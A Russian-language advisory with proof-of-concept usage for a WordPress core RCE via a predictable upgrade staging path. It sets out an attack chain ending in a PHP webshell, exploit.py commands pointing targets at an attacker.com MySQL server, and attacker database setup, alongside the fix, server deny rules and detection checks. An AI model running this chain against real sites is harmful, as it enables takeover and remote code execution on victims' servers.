RCE в ядре WordPress через предсказуемый путь staging-окружения (CVSS 8.1)
Неаутентифицированное удалённое выполнение кода через предсказуемый путь промежуточного развёртывания
| Поле | Значение |
|---|---|
| CVE | CVE-2026-119977 |
| CVSS | 8.1 Высокий |
| CWE | CWE-425 (Прямой запрос), CWE-377 (Небезопасный временный файл) |
| Затронуто | WordPress 4.7.0 - 7.1.3 |
| Исправлено | 7.1.4, 6.9.11, 6.8.12 (бэкпорты) |
| CISA KEV | Добавлено 3 ноября 2026 г. |
| Производитель | Wordfence (CNA) |
Во время обновления ядра WordPress метод WP_Upgrader::unpack_package() в class-wp-upgrader.php распаковывает пакет обновления в предсказуемый, доступный через веб путь:
wp-content/upgrade/wordpress-<version>/wordpress/
Промежуточная копия представляет собой полную установку WordPress без wp-config.php. Это означает:
wp-admin/setup-config.php выполняется без аутентификацииwp-admin/install.php доступен1. Detect WordPress version (generator meta tag, feed, readme.html)
└── Version determines predictable staging path
2. Wait for or trigger upgrade window
└── Staging directory exists during update process
3. Access staged installer
└── wp-content/upgrade/wordpress-<version>/wordpress/wp-admin/setup-config.php
4. Point installer to attacker-controlled MySQL
└── Attacker prepares DB with admin credentials they control
5. Complete installation via staged copy
└── Creates admin account with attacker's credentials
6. Use Theme File Editor for RCE
└── Edit 404.php or other theme file to inject PHP webshell
7. Execute commands
└── /wp-content/themes/<theme>/404.php?c=whoami
WordPress 7.1.4 добавляет случайный 16-символьный суффикс к каталогу промежуточного развёртывания:
$working_dir = $upgrade_folder . wp_generate_password(16, false);
Это делает путь непредсказуемым (пространство ключей 62^16).
pip install requests
# Scan for vulnerability
python3 exploit.py http://target.com --scan
# Monitor for upgrade window (5 minutes)
python3 exploit.py http://target.com --monitor --duration 300
# Full exploit (requires attacker MySQL server)
python3 exploit.py http://target.com --exploit \
--db-host attacker.com \
--db-user root \
--db-pass password \
--db-name wpexploit
# Exploit with monitoring
python3 exploit.py http://target.com --exploit --monitor \
--db-host attacker.com \
--db-user root \
--db-pass password
Для эксплуатации требуется контролируемый злоумышленником сервер MySQL, доступный с целевой машины:
# On attacker machine
mysql -u root -p
CREATE DATABASE wpexploit;
CREATE USER 'wpexploit'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON wpexploit.* TO 'wpexploit'@'%';
FLUSH PRIVILEGES;
# Ensure MySQL allows remote connections
# Edit my.cnf: bind-address = 0.0.0.0
Apache (.htaccess в wp-content/upgrade/):
<Files *>
Require all denied
</Files>
Nginx:
location /wp-content/upgrade/ {
deny all;
}
wp core update --version=7.1.4
curl -s http://target.com/ | grep -oP 'WordPress [0-9.]+'
curl -s http://target.com/feed/ | grep -oP 'v=[0-9.]+'
curl -s http://target.com/wp-content/upgrade/
curl -s "http://target.com/wp-content/upgrade/wordpress-7.1.3/wordpress/wp-admin/setup-config.php"
| Дата | Событие |
|---|---|
| 28 октября 2026 г. | Обнаружены первые попытки эксплуатации |
| 3 ноября 2026 г. | Добавлено в CISA KEV |
| 4 ноября 2026 г. | Опубликован публичный PoC |
| 6 ноября 2026 г. | Крайний срок устранения для федеральных органов |